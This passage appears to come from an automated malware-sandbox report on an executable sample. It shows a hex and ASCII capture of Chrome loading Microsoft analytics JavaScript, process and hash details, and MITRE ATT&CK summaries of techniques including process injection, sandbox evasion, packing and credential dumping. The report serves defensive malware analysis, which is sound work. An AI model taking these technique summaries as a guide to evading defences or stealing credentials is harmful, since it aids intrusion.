en",gg="msfpc",vg="user",hg="allowRequestSending",mg="firstRequestSent",yg="shouldAddClockSkewHeaders",Cg="getClockSkewHeaderValue",bg="setClockSkew",ye="length",Tg="concat",Ig="iKey",Eg="count",_g="events",Sg="push",xg="split",Ng="splice",Dg="toLowerCase
2024-12-20 15:06:02 UTC	16384	IN	Data Raw: 5b 6c 76 5d 29 29 29 7d 66 75 6e 63 74 69 6f 6e 20 61 28 65 2c 74 29 7b 69 66 28 65 5b 79 76 5d 7c 7c 28 65 5b 79 76 5d 3d 30 29 2c 65 5b 43 76 5d 7c 7c 28 65 5b 43 76 5d 3d 31 29 2c 6c 28 65 29 2c 65 5b 62 76 5d 29 69 66 28 55 7c 7c 61 65 29 65 5b 43 76 5d 3d 33 2c 65 5b 62 76 5d 3d 21 31 3b 65 6c 73 65 20 69 66 28 48 29 72 65 74 75 72 6e 20 57 26 26 28 65 3d 65 61 28 65 29 29 2c 48 5b 72 76 5d 28 45 76 2e 63 72 65 61 74 65 28 65 5b 49 67 5d 2c 5b 65 5d 29 2c 21 30 3d 3d 3d 65 5b 62 76 5d 3f 31 3a 65 5b 62 76 5d 2c 33 29 3b 76 61 72 20 6e 3d 65 5b 43 76 5d 2c 72 3d 63 65 2c 69 3d 52 2c 61 3d 28 34 3d 3d 3d 6e 26 26 28 72 3d 6f 65 2c 69 3d 4f 29 2c 21 31 29 3b 72 3c 69 3f 61 3d 21 43 28 65 2c 74 29 3a 28 72 3d 31 2c 69 3d 32 30 2c 34 3d 3d 3d 6e 26 26 28 Data Ascii: [lv])))}function a(e,t){if(e[yv]\|\|(e[yv]=0),e[Cv]\|\|(e[Cv]=1),l(e),e[bv])if(U\|\|ae)e[Cv]=3,e[bv]=!1;else if(H)return W&&(e=ea(e)),H[rv](Ev.create(e[Ig],[e]),!0===e[bv]?1:e[bv],3);var n=e[Cv],r=ce,i=R,a=(4===n&&(r=oe,i=O),!1);r<i?a=!C(e,t):(r=1,i=20,4===n&&(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.7	49854	13.107.246.42	443	4864	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 15:06:04 UTC	454	OUT	GET /scripts/c/ms.jsll-4.min.js HTTP/1.1 Host: js.monitor.azure.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 If-None-Match: 0x8DCEC757C1AD1D1 If-Modified-Since: Mon, 14 Oct 2024 17:27:31 GMT
2024-12-20 15:06:04 UTC	814	IN	HTTP/1.1 304 Not Modified Date: Fri, 20 Dec 2024 15:06:04 GMT Connection: close Vary: Accept-Encoding Cache-Control: no-transform, public, max-age=1800, immutable Last-Modified: Mon, 14 Oct 2024 17:27:31 GMT ETag: 0x8DCEC757C1AD1D1 x-ms-request-id: 17764986-301e-00bb-42c8-4b7a7d000000 x-ms-version: 2009-09-19 x-ms-meta-jssdkver: 4.3.3 x-ms-meta-jssdksrc: [cdn]/scripts/c/ms.jsll-4.3.3.min.js Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,x-ms-meta-jssdkver,x-ms-meta-jssdksrc,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241220T150604Z-156796c549bjtpr4hC1EWRdfxc0000000ns000000000avtn x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.7	49871	13.107.246.42	443	4864	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 15:06:06 UTC	427	OUT	GET /scripts/c/ms.jsll-4.min.js HTTP/1.1 Host: js.monitor.azure.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Range: bytes=195740-195740 If-Range: 0x8DCEC757C1AD1D1
2024-12-20 15:06:06 UTC	889	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 15:06:06 GMT Content-Type: text/javascript; charset=utf-8 Content-Length: 207935 Connection: close Vary: Accept-Encoding Cache-Control: no-transform, public, max-age=1800, immutable Last-Modified: Mon, 14 Oct 2024 17:27:31 GMT ETag: 0x8DCEC757C1AD1D1 x-ms-request-id: 17764986-301e-00bb-42c8-4b7a7d000000 x-ms-version: 2009-09-19 x-ms-meta-jssdkver: 4.3.3 x-ms-meta-jssdksrc: [cdn]/scripts/c/ms.jsll-4.3.3.min.js Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,x-ms-meta-jssdkver,x-ms-meta-jssdksrc,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241220T150606Z-156796c549b6f4fzhC1EWRm0vs0000000p6g000000008ayx x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-20 15:06:06 UTC	15495	IN	Data Raw: 2f 2a 21 0a 20 2a 20 31 44 53 20 4a 53 4c 4c 20 53 4b 55 2c 20 34 2e 33 2e 33 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 4d 69 63 72 6f 73 6f 66 74 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 0a 20 2a 20 28 4d 69 63 72 6f 73 6f 66 74 20 49 6e 74 65 72 6e 61 6c 20 4f 6e 6c 79 29 0a 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 22 75 6e 64 65 66 69 6e 65 64 22 3b 69 66 28 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 21 3d 6e 29 74 28 65 78 70 6f 72 74 73 29 3b 65 6c 73 65 20 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 Data Ascii: /! 1DS JSLL SKU, 4.3.3 * Copyright (c) Microsoft and contributors. All rights reserved. * (Microsoft Internal Only) */!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&defi
2024-12-20 15:06:06 UTC	16384	IN	Data Raw: 28 69 29 3a 28 72 3d 66 65 28 22 63 6f 6e 73 6f 6c 65 22 29 29 26 26 28 72 2e 65 72 72 6f 72 7c 7c 72 2e 6c 6f 67 29 28 74 2c 63 65 28 69 29 29 29 29 7d 53 65 28 61 3d 7b 74 68 65 6e 3a 6f 2c 22 63 61 74 63 68 22 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6f 28 75 6e 64 65 66 69 6e 65 64 2c 65 29 7d 2c 22 66 69 6e 61 6c 6c 79 22 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 2c 6e 3d 74 3b 72 65 74 75 72 6e 20 51 28 74 29 26 26 28 65 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 26 26 74 28 29 2c 65 7d 2c 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 74 68 72 6f 77 20 74 26 26 74 28 29 2c 65 7d 29 2c 6f 28 65 2c 6e 29 7d 7d 2c 22 73 74 61 74 65 22 2c 7b 67 65 74 3a 64 7d 29 2c 68 74 28 29 26 26 28 61 5b 6d 74 28 Data Ascii: (i):(r=fe("console"))&&(r.error\|\|r.log)(t,ce(i))))}Se(a={then:o,"catch":function(e){return o(undefined,e)},"finally":function(t){var e=t,n=t;return Q(t)&&(e=function(e){return t&&t(),e},n=function(e){throw t&&t(),e}),o(e,n)}},"state",{get:d}),ht()&&(a[mt(
2024-12-20 15:06:07 UTC	16384	IN	Data Raw: 28 65 2c 74 2c 6e 2c 72 29 7b 67 65 28 65 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 26 26 65 5b 74 5d 26 26 28 6e 3f 28 6e 2e 63 62 5b 74 65 5d 28 7b 66 6e 3a 72 2c 61 72 67 3a 65 7d 29 2c 6e 2e 68 3d 6e 2e 68 7c 7c 6e 6e 28 70 63 2c 30 2c 6e 29 29 3a 4d 28 72 2c 5b 65 5d 29 29 7d 29 7d 68 63 2e 5f 5f 69 65 44 79 6e 3d 31 3b 76 61 72 20 76 63 3d 68 63 3b 66 75 6e 63 74 69 6f 6e 20 68 63 28 65 29 7b 74 68 69 73 2e 6c 69 73 74 65 6e 65 72 73 3d 5b 5d 3b 76 61 72 20 6e 2c 69 3d 5b 5d 2c 61 3d 7b 68 3a 6e 75 6c 6c 2c 63 62 3a 5b 5d 7d 2c 6f 3d 76 6f 28 65 2c 64 63 29 5b 4b 6e 5d 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 6e 3d 21 21 65 2e 63 66 67 2e 70 65 72 66 45 76 74 73 53 65 6e 64 41 6c 6c 7d 29 3b 76 65 28 68 63 2c 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 Data Ascii: (e,t,n,r){ge(e,function(e){e&&e[t]&&(n?(n.cb[te]({fn:r,arg:e}),n.h=n.h\|\|nn(pc,0,n)):M(r,[e]))})}hc.__ieDyn=1;var vc=hc;function hc(e){this.listeners=[];var n,i=[],a={h:null,cb:[]},o=vo(e,dc)[Kn](function(e){n=!!e.cfg.perfEvtsSendAll});ve(hc,this,function(
2024-12-20 15:06:07 UTC	16384	IN	Data Raw: 28 65 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 61 2e 66 6c 75 73 68 43 6f 6d 70 6c 65 74 65 3d 65 2c 50 3d 21 30 2c 52 2e 72 75 6e 28 6f 2c 61 29 2c 66 5b 67 72 5d 28 29 2c 6f 5b 6c 72 5d 28 61 29 7d 2c 36 2c 6e 29 2c 69 7d 2c 66 5b 6f 72 5d 3d 73 2c 66 2e 61 64 64 50 6c 75 67 69 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 2c 72 29 7b 69 66 28 21 65 29 72 65 74 75 72 6e 20 72 26 26 72 28 21 31 29 2c 76 6f 69 64 20 43 28 6f 75 29 3b 76 61 72 20 69 3d 73 28 65 5b 24 6e 5d 29 3b 69 66 28 69 26 26 21 74 29 72 65 74 75 72 6e 20 72 26 26 72 28 21 31 29 2c 76 6f 69 64 20 43 28 22 50 6c 75 67 69 6e 20 5b 22 2b 65 5b 24 6e 5d 2b 22 5d 20 69 73 20 61 6c 72 65 61 64 79 20 6c 6f 61 64 65 64 21 22 29 3b 76 61 72 20 61 2c 6f 3d 7b 72 65 61 73 6f 6e 3a 31 36 7d 3b 66 Data Ascii: (e,function(e){a.flushComplete=e,P=!0,R.run(o,a),f[gr](),o[lr](a)},6,n),i},f[or]=s,f.addPlugin=function(e,t,n,r){if(!e)return r&&r(!1),void C(ou);var i=s(e[$n]);if(i&&!t)return r&&r(!1),void C("Plugin ["+e[$n]+"] is already loaded!");var a,o={reason:16};f
2024-12-20 15:06:07 UTC	16384	IN	Data Raw: 6c 3a 31 2c 43 72 69 74 69 63 61 6c 3a 32 7d 29 2c 75 6e 64 65 66 69 6e 65 64 2c 75 6e 64 65 66 69 6e 65 64 29 2c 53 6c 3d 22 22 3b 66 75 6e 63 74 69 6f 6e 20 78 6c 28 65 29 7b 74 72 79 7b 69 66 28 6f 65 28 6f 74 28 29 29 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 76 61 72 20 74 3d 28 6e 65 77 20 44 61 74 65 29 5b 4f 73 5d 28 29 2c 6e 3d 66 65 28 65 3d 3d 3d 45 6c 2e 4c 6f 63 61 6c 53 74 6f 72 61 67 65 3f 22 6c 6f 63 61 6c 53 74 6f 72 61 67 65 22 3a 22 73 65 73 73 69 6f 6e 53 74 6f 72 61 67 65 22 29 2c 72 3d 53 6c 2b 74 2c 69 3d 28 6e 2e 73 65 74 49 74 65 6d 28 72 2c 74 29 2c 6e 2e 67 65 74 49 74 65 6d 28 72 29 21 3d 3d 74 29 3b 69 66 28 6e 5b 52 73 5d 28 72 29 2c 21 69 29 72 65 74 75 72 6e 20 6e 7d 63 61 74 63 68 28 61 29 7b 7d 72 65 74 75 72 6e 20 6e 75 6c Data Ascii: l:1,Critical:2}),undefined,undefined),Sl="";function xl(e){try{if(oe(ot()))return null;var t=(new Date)[Os](),n=fe(e===El.LocalStorage?"localStorage":"sessionStorage"),r=Sl+t,i=(n.setItem(r,t),n.getItem(r)!==t);if(n[Rs](r),!i)return n}catch(a){}return nul
2024-12-20 15:06:07 UTC	16384	IN	Data Raw: 6f 20 74 72 61 63 6b 20 70 61 67 65 20 76 69 73 69 74 20 74 69 6d 65 20 66 61 69 6c 65 64 2c 20 6d 65 74 72 69 63 20 77 69 6c 6c 20 6e 6f 74 20 62 65 20 63 6f 6c 6c 65 63 74 65 64 3a 20 22 2b 63 65 28 72 29 29 7d 7d 2c 59 28 65 2c 22 5f 6c 6f 67 67 65 72 22 2c 7b 67 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6f 7d 7d 29 2c 59 28 65 2c 22 70 61 67 65 56 69 73 69 74 54 69 6d 65 54 72 61 63 6b 69 6e 67 48 61 6e 64 6c 65 72 22 2c 7b 67 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 63 7d 7d 29 7d 29 7d 76 61 72 20 4e 64 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 74 68 69 73 5b 67 64 5d 3d 50 74 28 29 2c 74 68 69 73 2e 70 61 67 65 4e 61 6d 65 3d 65 2c 74 68 69 73 2e 70 61 67 65 55 72 6c 3d 74 7d 2c 44 64 3d 66 75 6e 63 74 69 6f 6e 28 Data Ascii: o track page visit time failed, metric will not be collected: "+ce(r))}},Y(e,"_logger",{g:function(){return o}}),Y(e,"pageVisitTimeTrackingHandler",{g:function(){return c}})})}var Nd=function(e,t){this[gd]=Pt(),this.pageName=e,this.pageUrl=t},Dd=function(
2024-12-20 15:06:07 UTC	16384	IN	Data Raw: 63 6f 72 65 44 61 74 61 2c 22 62 65 68 61 76 69 6f 72 22 29 2c 75 65 28 6e 2e 70 61 67 65 54 79 70 65 29 26 26 28 65 2e 70 61 67 65 54 79 70 65 3d 6e 2e 70 61 67 65 54 79 70 65 29 2c 75 65 28 72 2e 5f 70 61 67 65 54 79 70 65 4d 65 74 61 54 61 67 29 26 26 21 75 65 28 65 2e 70 61 67 65 54 79 70 65 29 26 26 28 65 2e 70 61 67 65 54 79 70 65 3d 72 2e 5f 70 61 67 65 54 79 70 65 4d 65 74 61 54 61 67 29 2c 75 65 28 72 2e 5f 6d 61 72 6b 65 74 4d 65 74 61 54 61 67 29 26 26 28 65 2e 6d 61 72 6b 65 74 3d 72 2e 5f 6d 61 72 6b 65 74 4d 65 74 61 54 61 67 29 2c 65 2e 69 73 4c 6f 67 67 65 64 49 6e 3d 47 64 28 72 2e 5f 63 6f 6e 66 69 67 29 2c 74 2e 63 6f 6f 6b 69 65 45 6e 61 62 6c 65 64 3d 6f 63 28 29 7d 2c 69 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 73 65 74 50 61 67 65 54 Data Ascii: coreData,"behavior"),ue(n.pageType)&&(e.pageType=n.pageType),ue(r._pageTypeMetaTag)&&!ue(e.pageType)&&(e.pageType=r._pageTypeMetaTag),ue(r._marketMetaTag)&&(e.market=r._marketMetaTag),e.isLoggedIn=Gd(r._config),t.cookieEnabled=oc()},ip.prototype._setPageT
2024-12-20 15:06:07 UTC	16384	IN	Data Raw: 6e 21 30 3b 72 65 74 75 72 6e 21 31 7d 2c 41 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 69 73 54 72 61 63 6b 65 64 57 69 74 68 44 61 74 61 42 69 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 65 2e 61 74 74 72 69 62 75 74 65 73 2c 6e 3d 30 3b 6e 3c 74 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 69 66 28 7e 74 5b 6e 5d 2e 6e 61 6d 65 2e 69 6e 64 65 78 4f 66 28 22 64 61 74 61 2d 62 69 2d 22 29 29 72 65 74 75 72 6e 21 30 3b 72 65 74 75 72 6e 21 31 7d 2c 41 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 69 73 54 72 61 63 6b 65 64 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 65 2e 61 74 74 72 69 62 75 74 65 73 2c 6e 3d 30 3b 6e 3c 74 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 69 66 28 22 64 61 74 61 2d 6d 22 3d 3d 3d 74 5b 6e 5d 2e 6e 61 6d Data Ascii: n!0;return!1},Ap.prototype._isTrackedWithDataBi=function(e){for(var t=e.attributes,n=0;n<t.length;n++)if(~t[n].name.indexOf("data-bi-"))return!0;return!1},Ap.prototype._isTracked=function(e){for(var t=e.attributes,n=0;n<t.length;n++)if("data-m"===t[n].nam
2024-12-20 15:06:07 UTC	16384	IN	Data Raw: 75 74 68 54 6f 6b 65 6e 22 2c 61 3d 22 41 75 74 68 58 54 6f 6b 65 6e 22 2c 67 67 3d 22 6d 73 66 70 63 22 2c 76 67 3d 22 75 73 65 72 22 2c 68 67 3d 22 61 6c 6c 6f 77 52 65 71 75 65 73 74 53 65 6e 64 69 6e 67 22 2c 6d 67 3d 22 66 69 72 73 74 52 65 71 75 65 73 74 53 65 6e 74 22 2c 79 67 3d 22 73 68 6f 75 6c 64 41 64 64 43 6c 6f 63 6b 53 6b 65 77 48 65 61 64 65 72 73 22 2c 43 67 3d 22 67 65 74 43 6c 6f 63 6b 53 6b 65 77 48 65 61 64 65 72 56 61 6c 75 65 22 2c 62 67 3d 22 73 65 74 43 6c 6f 63 6b 53 6b 65 77 22 2c 79 65 3d 22 6c 65 6e 67 74 68 22 2c 54 67 3d 22 63 6f 6e 63 61 74 22 2c 49 67 3d 22 69 4b 65 79 22 2c 45 67 3d 22 63 6f 75 6e 74 22 2c 5f 67 3d 22 65 76 65 6e 74 73 22 2c 53 67 3d 22 70 75 73 68 22 2c 78 67 3d 22 73 70 6c 69 74 22 2c 4e 67 3d 22 73 70 Data Ascii: uthToken",a="AuthXToken",gg="msfpc",vg="user",hg="allowRequestSending",mg="firstRequestSent",yg="shouldAddClockSkewHeaders",Cg="getClockSkewHeaderValue",bg="setClockSkew",ye="length",Tg="concat",Ig="iKey",Eg="count",_g="events",Sg="push",xg="split",Ng="sp
2024-12-20 15:06:07 UTC	16384	IN	Data Raw: 29 29 2c 65 5b 6c 76 5d 26 26 28 65 5b 6c 76 5d 3d 65 61 28 65 5b 6c 76 5d 29 29 29 7d 66 75 6e 63 74 69 6f 6e 20 61 28 65 2c 74 29 7b 69 66 28 65 5b 79 76 5d 7c 7c 28 65 5b 79 76 5d 3d 30 29 2c 65 5b 43 76 5d 7c 7c 28 65 5b 43 76 5d 3d 31 29 2c 6c 28 65 29 2c 65 5b 62 76 5d 29 69 66 28 55 7c 7c 61 65 29 65 5b 43 76 5d 3d 33 2c 65 5b 62 76 5d 3d 21 31 3b 65 6c 73 65 20 69 66 28 48 29 72 65 74 75 72 6e 20 57 26 26 28 65 3d 65 61 28 65 29 29 2c 48 5b 72 76 5d 28 45 76 2e 63 72 65 61 74 65 28 65 5b 49 67 5d 2c 5b 65 5d 29 2c 21 30 3d 3d 3d 65 5b 62 76 5d 3f 31 3a 65 5b 62 76 5d 2c 33 29 3b 76 61 72 20 6e 3d 65 5b 43 76 5d 2c 72 3d 63 65 2c 69 3d 52 2c 61 3d 28 34 3d 3d 3d 6e 26 26 28 72 3d 6f 65 2c 69 3d 4f 29 2c 21 31 29 3b 72 3c 69 3f 61 3d 21 43 28 65 2c Data Ascii: )),e[lv]&&(e[lv]=ea(e[lv])))}function a(e,t){if(e[yv]\|\|(e[yv]=0),e[Cv]\|\|(e[Cv]=1),l(e),e[bv])if(U\|\|ae)e[Cv]=3,e[bv]=!1;else if(H)return W&&(e=ea(e)),H[rv](Ev.create(e[Ig],[e]),!0===e[bv]?1:e[bv],3);var n=e[Cv],r=ce,i=R,a=(4===n&&(r=oe,i=O),!1);r<i?a=!C(e,

Target ID:	4
Start time:	10:05:09
Start date:	20/12/2024
Path:	C:\Users\user\Desktop\RZnZbS97dD.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\RZnZbS97dD.exe"
Imagebase:	0x50000
File size:	2'973'696 bytes
MD5 hash:	17358C0BB94BBCE22D048C8869A2919F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	11:17:27
Start date:	20/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=RZnZbS97dD.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff6c4390000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	12
Start time:	11:17:28
Start date:	20/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2180 --field-trial-handle=1876,i,14361718925993332408,4187738249852284842,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff6c4390000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	13
Start time:	11:17:30
Start date:	20/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=RZnZbS97dD.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff6c4390000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	11:17:30
Start date:	20/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2044 --field-trial-handle=1184,i,340053501335636727,864007736336212206,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff6c4390000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
